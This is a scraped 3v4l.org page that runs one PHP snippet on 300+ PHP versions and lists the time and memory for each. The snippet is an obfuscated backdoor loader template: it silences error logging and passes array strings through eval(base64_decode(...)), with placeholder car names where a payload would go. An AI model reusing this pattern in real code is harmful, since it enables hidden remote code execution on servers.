3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c='count'; $a=array("in","Volvo","BMW","Toyota"); if(reset($a)=='in' && $c($a)>3) print('fu'); {ini_set('error_log', '/dev/null'); $k='terwebz'; echo '<'.$k.'>'; print(eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))))); echo '</'.$k.'>';} ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0180.00416.88
8.3.60.0040.01117.13
8.3.50.0110.01122.06
8.3.40.0040.01118.93
8.3.30.0070.00719.34
8.3.20.0040.00420.47
8.3.10.0030.00623.66
8.3.00.0080.00019.51
8.2.180.0160.00018.59
8.2.170.0120.00322.96
8.2.160.0030.01020.53
8.2.150.0030.00524.18
8.2.140.0040.00424.66
8.2.130.0040.01526.16
8.2.120.0070.00322.33
8.2.110.0080.00322.41
8.2.100.0090.00318.03
8.2.90.0080.00017.97
8.2.80.0090.00018.00
8.2.70.0040.00417.73
8.2.60.0030.00517.93
8.2.50.0030.00618.07
8.2.40.0040.00418.09
8.2.30.0050.00218.15
8.2.20.0050.00217.97
8.2.10.0030.00618.08
8.2.00.0080.00018.02
8.1.280.0070.00725.92
8.1.270.0060.00324.01
8.1.260.0050.00326.35
8.1.250.0040.00428.09
8.1.240.0070.00320.75
8.1.230.0040.00820.75
8.1.220.0040.00417.79
8.1.210.0040.00418.91
8.1.200.0070.00317.60
8.1.190.0040.00417.54
8.1.180.0060.00318.10
8.1.170.0030.00618.63
8.1.160.0040.00421.93
8.1.150.0020.00518.78
8.1.140.0000.00817.62
8.1.130.0030.00317.78
8.1.120.0030.00617.62
8.1.110.0000.00817.62
8.1.100.0040.00417.61
8.1.90.0080.00017.64
8.1.80.0070.00017.71
8.1.70.0050.00217.57
8.1.60.0060.00317.80
8.1.50.0040.00417.65
8.1.40.0000.00817.72
8.1.30.0040.00417.75
8.1.20.0000.00817.84
8.1.10.0040.00417.67
8.1.00.0040.00417.69
8.0.300.0040.00419.98
8.0.290.0040.00417.18
8.0.280.0030.00518.48
8.0.270.0030.00317.16
8.0.260.0000.00817.02
8.0.250.0070.00017.18
8.0.240.0030.00317.12
8.0.230.0040.00417.19
8.0.220.0040.00417.09
8.0.210.0000.00817.17
8.0.200.0060.00017.16
8.0.190.0090.00317.21
8.0.180.0040.00417.09
8.0.170.0000.00817.20
8.0.160.0030.00517.23
8.0.150.0000.00717.06
8.0.140.0030.00516.98
8.0.130.0060.00013.65
8.0.120.0050.00317.06
8.0.110.0000.00817.16
8.0.100.0040.00417.03
8.0.90.0050.00217.04
8.0.80.0060.01617.14
8.0.70.0050.00217.07
8.0.60.0000.00717.20
8.0.50.0080.00017.20
8.0.30.0120.01117.29
8.0.20.0100.00817.48
8.0.10.0000.00917.18
8.0.00.0100.00917.12
7.4.330.0030.00315.23
7.4.320.0000.00616.72
7.4.300.0060.00016.67
7.4.290.0070.00316.86
7.4.280.0000.00716.80
7.4.270.0070.00016.74
7.4.260.0030.00316.63
7.4.250.0040.00416.71
7.4.240.0040.00416.79
7.4.230.0030.00516.93
7.4.220.0090.00916.80
7.4.210.0100.00716.86
7.4.200.0040.00416.72
7.4.190.0000.00716.96
7.4.160.0070.01016.59
7.4.150.0120.00517.40
7.4.140.0130.00517.86
7.4.130.0050.01516.78
7.4.120.0150.00316.72
7.4.110.0030.01516.72
7.4.100.0080.01216.59
7.4.90.0000.01716.89
7.4.80.0160.00919.39
7.4.70.0110.00916.74
7.4.60.0110.00616.77
7.4.50.0000.00916.80
7.4.40.0000.01222.77
7.4.30.0060.01516.63
7.4.00.0060.00915.27
7.3.330.0020.00213.39
7.3.320.0030.00313.18
7.3.310.0040.00416.32
7.3.300.0000.00716.38
7.3.290.0090.00616.45
7.3.280.0090.01116.48
7.3.270.0180.00017.40
7.3.260.0080.01116.52
7.3.250.0150.01016.61
7.3.240.0170.00016.53
7.3.230.0150.00316.71
7.3.210.0110.00816.75
7.3.200.0000.02219.39
7.3.190.0060.01316.60
7.3.180.0070.01716.53
7.3.170.0070.01016.79
7.3.160.0090.01216.74
7.3.120.0140.00315.12
7.2.330.0090.00916.90
7.2.320.0040.01316.88
7.2.310.0090.00916.93
7.2.300.0100.00716.93
7.2.290.0060.01016.90
7.2.60.0030.01017.10
7.2.00.0080.01119.45
7.1.200.0000.01315.86
7.1.100.0060.00618.52
7.1.70.0030.00617.33
7.1.60.0100.01419.33
7.1.50.0130.01017.24
7.1.00.0030.07722.30
7.0.200.0060.00916.97
7.0.140.0030.07322.09
7.0.100.0470.03319.94
7.0.90.0070.09319.90
7.0.80.0170.04719.89
7.0.70.0130.07719.90
7.0.60.0100.04320.08
7.0.50.0200.05320.18
7.0.40.0070.07719.99
7.0.30.0070.08320.03
7.0.20.0030.06319.95
7.0.10.0200.07020.07
7.0.00.0100.08020.09
5.6.280.0070.07020.92
5.6.250.0000.07020.67
5.6.240.0030.06320.66
5.6.230.0000.05320.61
5.6.220.0030.08720.64
5.6.210.0100.08020.65
5.6.200.0100.07721.04
5.6.190.0100.07321.16
5.6.180.0070.08021.05
5.6.170.0100.08021.08
5.6.160.0100.08321.08
5.6.150.0100.04021.08
5.6.140.0130.05021.13
5.6.130.0100.06721.12
5.6.120.0070.09021.03
5.6.110.0100.07320.92
5.6.100.0000.04721.06
5.6.90.0070.04321.04
5.6.80.0030.04320.40
5.6.70.0070.06320.43
5.6.60.0030.03720.42
5.6.50.0070.03720.33
5.6.40.0030.04020.36
5.6.30.0030.04020.40
5.6.20.0000.04720.45
5.6.10.0030.04020.30
5.6.00.0030.04020.44
5.5.380.0100.06720.42
5.5.370.0100.05320.37
5.5.360.0130.06720.38
5.5.350.0130.07320.48
5.5.340.0100.08020.83
5.5.330.0100.07320.88
5.5.320.0070.08720.92
5.5.310.0070.08020.80
5.5.300.0100.07020.82
5.5.290.0200.06720.82
5.5.280.0070.08720.82
5.5.270.0030.05720.87
5.5.260.0070.04020.88
5.5.250.0070.04020.72
5.5.240.0070.03320.15
5.5.230.0070.04020.02
5.5.220.0100.04020.29
5.5.210.0070.04020.15
5.5.200.0030.04320.13
5.5.190.0030.03720.14
5.5.180.0000.04320.27
5.5.160.0030.05020.21
5.5.150.0030.04020.21
5.5.140.0070.03320.13
5.5.130.0000.04020.25
5.5.120.0000.05020.27
5.5.110.0100.03020.18
5.5.100.0030.04320.07
5.5.90.0070.03719.95
5.5.80.0070.03720.06
5.5.70.0030.04020.03
5.5.60.0000.04020.09
5.5.50.0030.04320.09
5.5.40.0070.03719.99
5.5.30.0100.02720.12
5.5.20.0030.03320.05
5.5.10.0000.03720.10
5.5.00.0000.04320.02
5.4.450.0070.08319.36
5.4.440.0170.06019.45
5.4.430.0100.04719.41
5.4.420.0070.04319.45
5.4.410.0070.04319.25
5.4.400.0030.03719.14
5.4.390.0030.03719.21
5.4.380.0030.03319.09
5.4.370.0030.04018.92
5.4.360.0030.04019.23
5.4.350.0070.03319.23
5.4.340.0030.04018.95
5.4.320.0070.03318.95
5.4.310.0000.04319.18
5.4.300.0030.03719.09
5.4.290.0030.03719.04
5.4.280.0000.04018.90
5.4.270.0030.03719.04
5.4.260.0030.03719.18
5.4.250.0030.04719.04
5.4.240.0170.02319.23
5.4.230.0000.04018.89
5.4.220.0070.03019.04
5.4.210.0030.03719.02
5.4.200.0070.02719.04
5.4.190.0030.03718.95
5.4.180.0100.03319.04
5.4.170.0030.04018.93
5.4.160.0030.04319.19
5.4.150.0070.03319.02
5.4.140.0100.02316.45
5.4.130.0070.03316.41
5.4.120.0030.03016.33
5.4.110.0030.03316.50
5.4.100.0000.04016.46
5.4.90.0030.03016.52
5.4.80.0000.03716.46
5.4.70.0000.03316.26
5.4.60.0000.04316.48
5.4.50.0070.07016.38
5.4.40.0030.07716.52
5.4.30.0070.05716.46
5.4.20.0070.05016.40
5.4.10.0100.06316.48
5.4.00.0070.07315.86
5.3.290.0000.04314.54
5.3.280.0070.05714.57
5.3.270.0030.03014.48
5.3.260.0030.04014.56
5.3.250.0000.04314.48
5.3.240.0070.02714.60
5.3.230.0130.02714.57
5.3.220.0000.04714.56
5.3.210.0030.04314.57
5.3.200.0070.04314.54
5.3.190.0100.03714.57
5.3.180.0000.04314.41
5.3.170.0030.03314.56
5.3.160.0030.07314.41
5.3.150.0100.05314.49
5.3.140.0100.03714.56
5.3.130.0030.06014.57
5.3.120.0100.07014.50
5.3.110.0070.08014.52
5.3.100.0070.06714.00
5.3.90.0030.07313.88
5.3.80.0000.06714.01
5.3.70.0070.07713.80
5.3.60.0070.07313.87
5.3.50.0130.06313.73
5.3.40.0070.07313.71
5.3.30.0070.07013.94
5.3.20.0100.03313.65
5.3.10.0100.06713.61
5.3.00.0000.06013.59
5.2.170.0030.06311.02
5.2.160.0100.05011.22
5.2.150.0070.05711.19
5.2.140.0070.03011.00
5.2.130.0000.03011.13
5.2.120.0130.05311.07
5.2.110.0130.05311.20
5.2.100.0070.03711.18
5.2.90.0000.03711.13
5.2.80.0070.04711.13
5.2.70.0130.04710.96
5.2.60.0030.05310.92
5.2.50.0030.04310.95
5.2.40.0030.03011.00
5.2.30.0070.05711.04
5.2.20.0030.06310.97
5.2.10.0030.06010.80
5.2.00.0100.04710.77
5.1.60.0000.0379.89
5.1.50.0070.02710.11
5.1.40.0030.0509.97
5.1.30.0100.03010.26
5.1.20.0030.03010.39
5.1.10.0070.02710.14
5.1.00.0100.05010.14
5.0.50.0000.0478.63
5.0.40.0030.0408.47
5.0.30.0030.0638.46
5.0.20.0030.0408.46
5.0.10.0070.0378.46
5.0.00.0000.0638.46
4.4.90.0000.0238.46
4.4.80.0000.0378.46
4.4.70.0030.0338.46
4.4.60.0000.0278.46
4.4.50.0000.0378.46
4.4.40.0000.0408.46
4.4.30.0000.0238.46
4.4.20.0070.0338.46
4.4.10.0030.0338.46
4.4.00.0070.0508.46
4.3.110.0030.0278.46
4.3.100.0070.0308.46
4.3.90.0070.0138.46
4.3.80.0000.0408.46
4.3.70.0070.0238.46
4.3.60.0000.0208.46
4.3.50.0000.0208.46
4.3.40.0000.0508.46
4.3.30.0000.0378.46
4.3.20.0000.0338.46
4.3.10.0100.0138.46
4.3.00.0000.0178.46

preferences:
38.07 ms | 401 KiB | 5 Q